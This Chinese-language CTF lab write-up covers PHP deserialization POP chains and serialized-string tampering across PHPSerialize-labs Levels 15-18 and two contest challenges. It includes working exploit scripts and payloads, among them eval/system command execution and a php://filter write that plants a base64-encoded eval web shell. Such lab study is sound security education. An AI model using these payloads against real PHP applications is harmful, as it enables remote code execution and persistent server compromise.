本文基于 PHPSerialize-labs 靶场 Level 15-18 整理,承前掌握基础反序列化(单类魔术方法利用)。
前置阅读建议:若你还不熟悉
__wakeup()、__destruct()、__toString()、__invoke()等基础魔术方法可以看上一章节。
前面的关卡(Level 7-14)都属于**"单点突破"**——找到一个类,里面某个魔术方法直接包含 eval()、system() 或 include(),控制它的属性就能拿到 flag。
但真实世界的代码很少把"危险操作"和"入口点"放在同一个类里。**POP 链(Property Oriented Programming,面向属性编程)**就像一场接力赛:
__wakeup() 或 __destruct() 被触发__toString() 或 __invoke()eval()、system() 或 include()每一棒都不直接产生危害,但把它们串起来,就能形成完整的攻击链。
不要从 unserialize() 开始想,要从 eval()/system() 往回找:
phpclass A {
public $a;
public function __construct($a) { $this->a = $a; }
}
class B {
public $b;
public function __construct($b) { $this->b = $b; }
}
class C {
public $c;
public function __construct($c) { $this->c = $c; }
}
class D {
public $d;
public function __construct($d) { $this->d = $d; }
public function __wakeUp() {
$this->d->action();
}
}
class destnation {
var $cmd;
public function __construct($cmd) { $this->cmd = $cmd; }
public function action(){
eval($this->cmd->a->b->c);
}
}
if(isset($_POST['o'])) { unserialize($_POST['o']); }
终点:destnation::action() 里的 eval($this->cmd->a->b->c)
跳板:D::__wakeUp() 调用了 $this->d->action(),只要让 $this->d 是 destnation 对象即可。
入口:unserialize() 触发 D::__wakeUp()。
提示
在 PHP 里,一个对象的属性不仅可以是字符串、数字,还可以是另一个对象。
比如:
phpclass Dog {
public function bark() {
echo "汪!";
}
}
class Person {
public $pet; // 这个属性可以存一个 Dog 对象
}
$dog = new Dog();
$person = new Person();
$person->pet = $dog; // 把 Dog 对象放进 Person 的 pet 属性里
// 现在可以通过 Person 对象访问 Dog 对象的方法
$person->pet->bark(); // 输出:汪!
这里 $person->pet 是一个 Dog 对象,所以可以继续用 -> 调用它的 bark() 方法。
$this->d->action() 的意思phpclass D {
public $d;
public function __wakeUp() {
$this->d->action(); // 这里 $this->d 应该是一个有 action() 方法的对象
}
}
$this->d 是 D 对象的一个属性。$d 属性设置成一个 destnation 对象(它恰好有 action() 方法),那么 $this->d->action() 就会调用这个 destnation 对象的 action() 方法。所以问题“没有名为 d 的类却有 action 方法”其实是因为:d 不是类名,它只是一个属性名。这个属性可以存放任何对象,我们故意让它存放一个 destnation 对象,而 destnation 类里有 action() 方法。
$this->cmd->a->b->c 的意思phpclass destnation {
var $cmd;
public function action(){
eval($this->cmd->a->b->c);
}
}
$this->cmd 是 destnation 对象的一个属性,我们把它设置成一个 A 对象。A 对象有属性 a,我们把它的 a 属性设置成 B 对象。B 对象有属性 b,我们把它的 b 属性设置成 C 对象。C 对象有属性 c,我们把它的 c 属性设置成一段字符串(恶意代码)。于是:
$this->cmd → A 对象 $this->cmd->a → B 对象 $this->cmd->a->b → C 对象 $this->cmd->a->b->c → 恶意代码字符串
最终 eval($this->cmd->a->b->c) 就是执行那段恶意代码。
想象你有一个遥控器(D),遥控器上有个按钮(d)。这个按钮可以安装不同的功能模块(destnation 对象)。安装的模块上又有个插槽(cmd),你可以插入一个转换器(A 对象),转换器又连接另一个转换器(B 对象),再连一个转换器(C 对象),最后转换器输出一段文字(恶意代码)。按下按钮时,整个链条传递,最终执行那段文字。
POP 链就是利用这些对象之间天然存在的调用关系,把它们像积木一样拼起来,最终触发危险操作。
我们想让 eval 执行读取 flag 文件的代码:
phpecho file_get_contents('flag.php');
于是构造对象链:
D 对象 └─ d → destnation 对象 └─ cmd → A 对象 └─ a → B 对象 └─ b → C 对象 └─ c → "echo file_get_contents('flag.php');"
对应的序列化字符串(从内到外):
O:1:"C":1:{s:1:"c";s:35:"echo file_get_contents('flag.php');";}O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:35:"echo file_get_contents('flag.php');";}}O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:35:"echo file_get_contents('flag.php');";}}}O:10:"destnation":1:{s:3:"cmd";O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:35:"echo file_get_contents('flag.php');";}}}}O:1:"D":1:{s:1:"d";O:10:"destnation":1:{s:3:"cmd";O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:35:"echo file_get_contents('flag.php');";}}}}}注意长度:destnation 是 10 个字符,echo file_get_contents('flag.php'); 长度是 35。
eval($this->cmd->a->b->c) 是一条属性访问链:
$this->cmd → 必须是 A 对象(因为有 $a 属性)$this->cmd->a → 必须是 B 对象(因为有 $b 属性)$this->cmd->a->b → 必须是 C 对象(因为有 $c 属性)$this->cmd->a->b->c → 最终是命令字符串这个也可以的

php<?php
// 定义类(属性名必须与题目一致)
class A {
public $a;
}
class B {
public $b;
}
class C {
public $c;
}
class D {
public $d;
}
class destnation {
var $cmd;
}
// 构造恶意代码字符串
$code = "echo file_get_contents('flag.php');";
// 从内到外构建对象链
$c_obj = new C();
$c_obj->c = $code;
$b_obj = new B();
$b_obj->b = $c_obj;
$a_obj = new A();
$a_obj->a = $b_obj;
$dest_obj = new destnation();
$dest_obj->cmd = $a_obj;
$d_obj = new D();
$d_obj->d = $dest_obj;
// 序列化并输出
echo serialize($d_obj);
?>
这样写也可以
这里不知为何type和file_get_contents都有点问题

php<?php
class A { public $a; function __construct($a){ $this->a=$a; } }
class B { public $b; function __construct($b){ $this->b=$b; } }
class C { public $c; function __construct($c){ $this->c=$c; } }
class D { public $d; function __construct($d){ $this->d=$d; } }
class destnation { var $cmd; function __construct($cmd){ $this->cmd=$cmd; } }
// 从里往外构造
$c = new C("system('cat /flag');");
$b = new B($c);
$a = new A($b);
$des = new destnation($a);
$d = new D($des);
echo urlencode(serialize($d));
?>
Payload:
o=O:1:"D":1:{s:1:"d";O:10:"destnation":1:{s:3:"cmd";O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:22:"system('cat /flag');";}}}}}
Level 15 的核心教学意义:对象的属性可以是另一个对象,反序列化会完整还原这种嵌套关系。 虽然叫"POP 链",但本质上还是单入口点 + 属性嵌套。
phpclass A {
public $a;
public function __invoke() {
include $this->a;
return $flag;
}
}
class B {
public $b;
public function __toString() {
$f = $this->b;
return $f();
}
}
class INIT {
public $name;
public function __wakeUp() {
echo $this->name.' is awake!';
}
}
if(isset($_POST['o'])) { unserialize($_POST['o']); }
终点:A::__invoke() 里的 include $this->a,需要 $this->a = 'flag.php'
跳板 1:__invoke() 需要对象被当作函数调用($obj())。B::__toString() 里有 $f(),如果 $this->b 是 A 对象,就能触发 A::__invoke()。
跳板 2:__toString() 需要对象被当作字符串使用。INIT::__wakeUp() 里有 echo $this->name,如果 $this->name 是 B 对象,就能触发 B::__toString()。
入口:unserialize() 触发 INIT::__wakeUp()。
[unserialize] ↓ 自动触发 [INIT::__wakeup()] echo $this->name ↓ $this->name 是 B 对象 → 触发 __toString() [B::__toString()] $f = $this->b; return $f(); ↓ $this->b 是 A 对象 → 触发 __invoke() [A::__invoke()] include $this->a ↓ [终点: include('flag.php')]
省事一点我这么写也是可以的,为了一层层执行,这里从最外层开始执行,也就是exp需要最后一个写init层
php<?php
class A {
public $a;
public function __invoke() {
include $this->a;
return $flag;
}
}
class B {
public $b;
public function __toString() {
$f = $this->b;
return $f();
}
}
class INIT {
public $name;
public function __wakeUp() {
echo $this->name.' is awake!';
}
}
$file="flag.php";
$a = new A();
$a->a=$file;
$b=new B();
$b->b=$a;
$fuck=new INIT($b);
$fuck->name=$b;
echo serialize($fuck);

php<?php
class A { public $a; }
class B { public $b; }
class INIT { public $name; }
$a = new A();
$a->a = 'flag.php';
$b = new B();
$b->b = $a;
$init = new INIT();
$init->name = $b;
echo urlencode(serialize($init));
?>
Payload:
o=O:4:"INIT":1:{s:4:"name";O:1:"B":1:{s:1:"b";O:1:"A":1:{s:1:"a";s:8:"flag.php";}}}
| 阶数 | 魔术方法 | 触发条件 | 在链中的作用 |
|---|---|---|---|
| 第一阶 | __wakeup() | unserialize() 开始时 | 入口点,通过 echo 触发下一阶 |
| 第二阶 | __toString() | 对象被当作字符串 | 中转站,通过 $obj() 触发下一阶 |
| 第三阶 | __invoke() | 对象被当作函数调用 | 终点执行器,完成 include |
为什么不能跳级? 因为 PHP 的魔术方法有严格的触发条件。__wakeup() 里没有"把对象当函数调用"的代码,所以必须先通过 echo 触发 __toString(),再在 __toString() 里写 $f() 触发 __invoke()。这就是 POP 链的精髓:利用代码中已有的"类型转换"或"方法调用"作为桥梁,一级一级传递控制权。
phpclass A { }
class B {
public $a = "Hello";
protected $b = "CTF";
private $c = "FLAG{TEST}";
}
echo "Class A is NULL: '".serialize(new A())."'<br>";
echo "Class B is a class with 3 properties: '".serialize(new B())."'<br>";
$serliseString = serialize(new B());
$serliseString = str_replace('B', 'A', $serliseString);
echo "After replace B with A,we unserialize it and dump :<br>";
var_dump(unserialize($serliseString));
if(isset($_POST['o'])) {
$a = unserialize($_POST['o']);
if ($a instanceof A && $a->helloctfcmd == "get_flag") {
include 'flag.php';
echo $flag;
}
}

题目先做了一个有趣的演示:
A 是空类,没有任何属性,serialize(new A()) 结果是 O:1:"A":0:{}B 有 3 个属性,序列化后把类名 B 替换成 Aunserialize() 还原后,空类 A 居然拥有了 3 个属性!然后 unserialize() 这个修改后的字符串时:
A 创建对象。\0A\0c 被解释为 A 类的 private 属性 c。所以 var_dump 显示:
object(A)#1 (3) { ["a"]=> string(5) "Hello" ["b":protected]=> string(3) "CTF" ["c":"A":private]=> string(10) "FLAG{TEST}" }
序列化字符串可以决定反序列化后对象的属性和值,即使类定义里没有这些属性(前提是属性名格式正确)。
这说明:PHP 反序列化时,序列化字符串的优先级高于类定义。 即使类 A 没有定义这些属性,只要序列化字符串里说"我有这些属性",PHP 就会"无中生有"地给对象添加上。
题目要求:
php$a instanceof A && $a->helloctfcmd == "get_flag"
A 类是空的,没有 helloctfcmd 属性。但利用上面的特性,我们可以在序列化字符串里"伪造"这个属性!

php<?php
class A {
public $helloctfcmd = "get_flag";
}
echo urlencode(serialize(new A()));
?>
Payload:

o=O:1:"A":1:{s:10:"helloctfcmd";s:8:"get_flag";}
"无中生有"的本质:反序列化创建的对象由类定义和序列化字符串共同决定,但序列化字符串的优先级更高。当字符串里存在类定义中没有的属性时,PHP 会直接"采纳"字符串里的描述。
这在后续更复杂的字符串逃逸题目中非常重要——它意味着我们可以通过操控序列化字符串,给对象添加任意属性,甚至改变对象的结构。
phpclass Demo {
public $a = "Hello";
public $b = "CTF";
public $key = 'GET_FLAG";}FAKE_FLAG';
}
class FLAG { }
$serliseStringDemo = serialize(new Demo());
$target = $_GET['target'];
$change = $_GET['change'];
$serliseStringFLAG = str_replace($target, $change, $serliseStringDemo);
$FLAG = unserialize($serliseStringFLAG);
if ($FLAG instanceof FLAG && $FLAG->key == 'GET_FLAG') {
echo $flag;
}
页面输出提示:
SerliseStringDemo:'O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}' Change SOMETHING TO GET FLAG
我这里的思路是替换他现在反序列化的内容使其变成我想要的序列化字符串
对比下差在哪里,可以发现插在片吗,后面的FAKE_FLAG";}我们可以不要
phpO:4:"FLAG":1:{s:3:"key";s:8:"GET_FLAG";}
O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}
所以我们只需要替换
这些部分
phptarget = O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20
change = O:4:"FLAG":1:{s:3:"key";s:8
于是得到payload
phphttp://localhost/PHPSerialize-labs-main/Level18/index.php?target=O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20&change=O:4:"FLAG":1:{s:3:"key";s:8

但是看了下官方wp不是这么干的,这里简要说下,于是你可以继续看,看完简短的也可以不看后面的额
当你在 URL 中使用:
textindex.php?target[]=Demo&target[]=20&change[]=FLAG&change[]=8
PHP 会把 target 和 change 解析成数组:
$target = array('Demo', '20')$change = array('FLAG', '8')实际执行效果相当于:
str_replace('Demo', 'FLAG', $serliseStringDemo);str_replace('20', '8', 上一步结果)。最终原始字符串:
textO:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}
被替换为:
textO:4:"FLAG":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:8:"GET_FLAG";}FAKE_FLAG";}
注意:类名变成了 FLAG,属性长度 s:20 变成了 s:8。

这个确实比较巧妙,或者说这道题就是应该这么解题的
PHP 反序列化规则:当成员属性的数量、名称长度、内容长度均一致时,程序会以 ";} 作为字符串的结尾判定。
但这有个前提——字符串长度声明必须准确。让我们分析原始序列化字符串中的关键部分:
s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}"
这里 s:20 表示后面的字符串内容长度是 20。让我们数一下引号之间的内容:
G-E-T-_-F-L-A-G-"-;-}-F-A-K-E-_-F-L-A-G 1-2-3-4-5-6-7-8-9-10-11-12-13-14-15-16-17-18-19-20
正好 20 个字符!所以 PHP 会读取 GET_FLAG";}FAKE_FLAG 作为 key 的值。
反序列化后:
$FLAG->key 的值是 GET_FLAG";}FAKE_FLAG(长度 20)" 认为字符串结束;} 认为 Demo 对象结束";} 被忽略但题目要求:
$FLAG instanceof FLAG(必须是 FLAG 类的对象,不是 Demo)$FLAG->key == 'GET_FLAG'(key 的值必须恰好是 GET_FLAG,不能带后面的垃圾)我们需要通过 str_replace 做两件事:
第一步:改类名 Demo → FLAG
让反序列化出来的对象变成 FLAG 类的实例。
第二步:改字符串长度 s:20 → s:8
让 PHP 只读取 GET_FLAG(8 个字符),后面的 ";}FAKE_FLAG 被当作对象结束符和垃圾数据丢弃。
替换后的字符串变成:
O:4:"FLAG":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:8:"GET_FLAG";}FAKE_FLAG";}"
现在解析过程:
s:8:"GET_FLAG" → 读取 8 个字符 GET_FLAG,遇到 " 结束;} → PHP 认为 FLAG 对象到此结束FAKE_FLAG";} → 被当作无关字符丢弃这样反序列化出来的就是 FLAG 对象,且 $key = 'GET_FLAG'!
通过 GET 参数传入替换规则:
?target[]=Demo&target[]=20&change[]=FLAG&change[]=8
str_replace 会按数组顺序批量替换:
Demo → FLAG20 → 8| 概念 | 含义 |
|---|---|
| 字符串尾部判定 | PHP 以 ";} 作为对象/属性结束的标记 |
| 长度篡改 | 通过修改 s:长度 的值,控制 PHP 读取多少字符 |
| 截断效应 | 当长度变小时,后面的内容被当作结构符号或垃圾丢弃 |
这是字符串逃逸最基础的原理。在更高级的题型中,攻击者会通过控制用户输入的长度,让替换后的字符串"吃掉"或"吐出"额外的序列化结构,从而构造出完全可控的恶意对象。
前面 Level 15-16 主要涉及了 __wakeup()、__toString()、__invoke()。但在 CTF 和真实漏洞中,还有一批魔术方法经常出现在 POP 链里。这里一并补充。
__call() 与 __callStatic() —— 方法调用的"兜底"触发时机:
__call():在对象上下文中调用一个不存在或不可访问的方法时触发__callStatic():在静态上下文中调用一个不存在或不可访问的方法时触发简单示例:
php<?php
class Example {
public function __call($name, $arguments) {
echo "调用了不存在的方法 '$name',参数是:" . implode(', ', $arguments);
}
public static function __callStatic($name, $arguments) {
echo "静态调用了不存在的方法 '$name'";
}
}
$obj = new Example();
$obj->fuck('me'); // 触发 __call()
Example::mother('fuck'); // 触发 __callStatic()
?>
在 POP 链中的作用:
如果某个跳板类里写了 $this->xxx->someMethod(),但 someMethod() 在目标类里不存在,就会触发目标类的 __call()。如果 __call() 里有危险操作,就能被利用。
__get() / __set() / __isset() / __unset()这组方法被称为属性重载(Overloading),用于处理对不可访问(protected/private)或不存在的属性的访问。
| 魔术方法 | 触发条件 |
|---|---|
__get($name) | 读取不可访问或不存在的属性时 |
__set($name, $value) | 给不可访问或不存在的属性赋值时 |
__isset($name) | 对不可访问或不存在的属性调用 isset() 或 empty() 时 |
__unset($name) | 对不可访问或不存在的属性调用 unset() 时 |
简单示例:
php<?php
class Test {
private $secret = "hidden";
public function __get($name) {
echo "你在读取属性 '$name',但它不存在或不可访问\n";
return "fake_value";
}
public function __set($name, $value) {
echo "你在给属性 '$name' 赋值 '$value'\n";
}
}
$t = new Test();
echo $t->not_exist; // 触发 __get()
$t->new_prop = "hello"; // 触发 __set()
?>
在 POP 链中的作用:
如果终点代码是 echo $this->obj->someProperty,而 someProperty 在目标类里不存在,就会触发目标类的 __get()。如果 __get() 里有 include 或 eval,就能形成攻击链。
在 POP 链实战中,建议把下面这张表当作"地图",拿到源码后先扫一遍有哪些魔术方法:
| 魔术方法 | 触发时机 | 危险程度 | 常见利用场景 |
|---|---|---|---|
__construct() | new 创建对象时 | ⭐ | 初始化(反序列化不触发) |
__destruct() | 对象被销毁时 | ⭐⭐⭐ | 脚本结束自动触发,常见入口 |
__wakeup() | unserialize() 开始时 | ⭐⭐⭐ | 最常见入口点 |
__sleep() | serialize() 之前 | ⭐ | 控制哪些属性被序列化 |
__toString() | 对象被当作字符串时 | ⭐⭐⭐ | echo、sprintf、拼接 |
__invoke() | 对象被当作函数调用 $obj() | ⭐⭐⭐ | 需要前一个跳板调用它 |
__call() | 调用不存在的方法时 | ⭐⭐ | $this->obj->method() |
__callStatic() | 静态调用不存在的方法时 | ⭐ | 较少见 |
__get() | 读取不存在的属性时 | ⭐⭐ | $this->obj->property |
__set() | 给不存在的属性赋值时 | ⭐ | 较少作为终点 |
__isset() | 对不存在属性用 isset() 时 | ⭐ | 辅助型 |
__unset() | 对不存在属性用 unset() 时 | ⭐ | 辅助型 |
__clone() | 对象被 clone 时 | ⭐ | 复制对象时触发 |
实战技巧: 拿到题目源码后,先用 grep 扫出所有 __ 开头的方法,然后看哪些方法里有危险函数(eval、system、include、file_get_contents),再用倒推法找链。

php <?php
highlight_file(__FILE__);
function filter($name){
$safe = array("flag", "php");
return str_replace($safe, "hack", $name);
}
class mylogin {
var $user;
var $pass;
function __construct($user, $pass) {
$this->user = $user;
$this->pass = $pass;
}
}
if ($_POST['msg']) {
$filtered_input = filter($_POST['msg']);
$a = unserialize($filtered_input);
if ($a instanceof mylogin) {
if ($a->pass === "myzS@11wawq") {
$flagfile = '/flag.txt';
echo 'Flag: ' . file_get_contents($flagfile);
exit();
} else {
$tis = "您是小自吧,差一点就成功了!";
}
} else {
$tis = "您输入的信息可能去非洲才能找到哦!";
}
}
?>
如图和代码所示,他会过滤掉flag.php,然后就是让你调用构造然后传参,没啥的
写一个exp,这里只要求了用户密码pass,用户名随意
然后复制传参


php <?php
error_reporting(0);
class User{
public $username;
public $password;
public $variable;
public $a;
public function __construct()
{
$this->username = "user";
$this->password = "user";
}
public function __wakeup(){
if( ($this->username != $this->password) && (md5($this->username) === md5($this->password)) && (sha1($this->username)=== sha1($this->password)) ){
echo "wuhu!";
return $this->variable->xxx;
}else{
die("o^o");
}
}
}
class Login{
public $point;
public function __get($key){
$func = $this->point;
return $func();
}
}
class Read{
public $filename;
public function __invoke(){
echo file_get_contents($this->filename.".php");
}
}
if(isset($_GET['x'])){
unserialize($_GET['x']);
}else{
highlight_file(__FILE__);
}
?>
分析可以得出,我们可以通过反序列化user的wakeup方法执行return $this->variable->xxx到一个不存在的变量,然后再触发login的get方法执行return $func();把read的invoke当做方法触发执行最终输出我们想要的flag
phpUser::__wakeup() → Login::__get('xxx') → Read::__invoke() → file_get_contents()
编写exp
为啥会是
php$user->variable=$login;
$login->point=$read;
因为这样的话就是$login->xxx从而触发get,return $read();触发invoke方法

php<?php
class User {
public $username;
public $password;
public $variable;
public $a;
}
class Login {
public $point;
}
class Read {
public $filename;
}
$user = new User();
$login = new Login();
$read = new Read();
$read->filename="flag";
$user->username=array(1);
$user->password=array(2);
$user->a=NULL;
$user->variable=$login;
$login->point=$read;
echo serialize($user);
?>
发送

2025新生赛

php <?php
class gogogo
{
public $www = "Lets start! ";
public function __destruct()
{
echo $this->www;
}
}
class start
{
public $coffe;
public function __tostring()
{
return $this->coffe->dense;
}
}
class soda
{
public $gunmu;
public function __get($content)
{
$g = $this->gunmu;
return $g();
}
}
class end
{
public $content;
public $filename;
public function __invoke()
{
file_put_contents($this->filename, "<?php exit();" . $this->content);
}
}
if (isset($_GET['p'])) {
$ser = unserialize($_GET['p']);
} else {
highlight_file(__FILE__);
}
这个链的构造没啥的,主要是exit的绕过
原理就是,通过base64编码+filter过滤,使得exit变为不可读字符串,但是这里要记住url编码,不编码会把+解析为空格
exp
php<?php
class gogogo
{
public $www = "Lets start! ";
public function __destruct()
{
echo $this->www;
}
}
class start
{
public $coffe;
public function __tostring()
{
return $this->coffe->dense;
}
}
class soda
{
public $gunmu;
public function __get($content)
{
$g = $this->gunmu;
return $g();
}
}
class end
{
public $content='aPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+';
public $filename='php://filter/write=convert.base64-decode/resource=shell.php';
}
$go=new gogogo();
$sa = new start();
$so = new soda();
$en = new end();
$go->www=$sa;
$sa->coffe=$so;
$so->gunmu=$en;
echo urlencode(serialize($go));
Level 15-16 是正统 POP 链——通过对象嵌套和魔术方法接力来传递控制权。
Level 17-18 是字符串层面的 POP 链——通过操控序列化字符串本身,利用 PHP 解析器的特性来"伪造"对象结构。
| 类型 | 操控层面 | 核心能力 | 代表关卡 |
|---|---|---|---|
| 正统 POP 链 | 对象层面 | 控制对象之间的引用关系 | Level 15-16 |
| 字符串逃逸 | 字符串层面 | 控制序列化字符串的解析边界 | Level 17-18 |
在高级题目中,这两种技术经常结合使用:先用字符串逃逸"构造"出一个包含恶意属性的对象,再通过 POP 链触发这些属性指向的危险方法。
| 关卡 | 核心知识点 | 链长度 | 关键特性 |
|---|---|---|---|
| Level 15 | 对象嵌套、属性链 | 2 阶 | 对象的属性可以是对象 |
| Level 16 | 多魔术方法串联 | 3 阶 | __wakeup→__toString→__invoke |
| Level 17 | 无中生有 | 字符串层 | 序列化字符串优先级高于类定义 |
| Level 18 | 字符串尾部判定 | 字符串层 | 篡改 s:长度 实现截断与逃逸 |
Level 15:
php$c = new C("system('cat /flag');");
$b = new B($c);
$a = new A($b);
$des = new destnation($a);
$d = new D($des);
echo urlencode(serialize($d));
Level 16:
php$a = new A(); $a->a = 'flag.php';
$b = new B(); $b->b = $a;
$init = new INIT(); $init->name = $b;
echo urlencode(serialize($init));
Level 17:
phpclass A { public $helloctfcmd = "get_flag"; }
echo urlencode(serialize(new A()));
Level 18:
GET ?target[]=Demo&target[]=20&change[]=FLAG&change[]=8
str_replace('x', 'yy', $str) 或 str_replace('xx', 'y', $str))&)在反序列化中的利用